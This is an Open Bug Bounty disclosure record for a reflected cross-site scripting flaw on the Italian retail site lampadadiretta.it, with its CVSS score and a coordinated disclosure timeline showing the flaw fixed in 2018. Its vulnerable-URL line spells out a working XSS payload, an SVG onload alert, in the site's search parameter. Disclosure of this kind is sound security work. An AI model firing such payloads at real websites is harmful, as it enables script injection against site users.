Lucene search

K
openbugbountyXaliomOBB:399271
HistoryNov 07, 2017 - 4:28 p.m.

lampadadiretta.it XSS vulnerability

2017-11-0716:28:00
Xaliom
www.openbugbounty.org
8
Open Bug Bounty ID: OBB-399271
Description Value
Affected Website: lampadadiretta.it
Vulnerable Application: Custom Code
Vulnerability Type: XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide: OWASP XSS Prevention Cheat Sheet
Vulnerable URL:
https://www.lampadadiretta.it/catalogsearch/result/?q=%22%3E%3Csvg%20onload=alert(/XSS/)%3E
Coordinated Disclosure Timeline
Description Value
Vulnerability Reported: 7 November, 2017 16:28 GMT
Vulnerability Verified: 7 November, 2017 16:31 GMT
Website Operator Notified: 7 November, 2017 16:31 GMT
Vulnerability Published: 7 November, 2017 16:31 GMT[without any technical details]
Vulnerability Fixed: 2 April, 2018 00:43 GMT
Public Disclosure: 2 April, 2018 00:43 GMT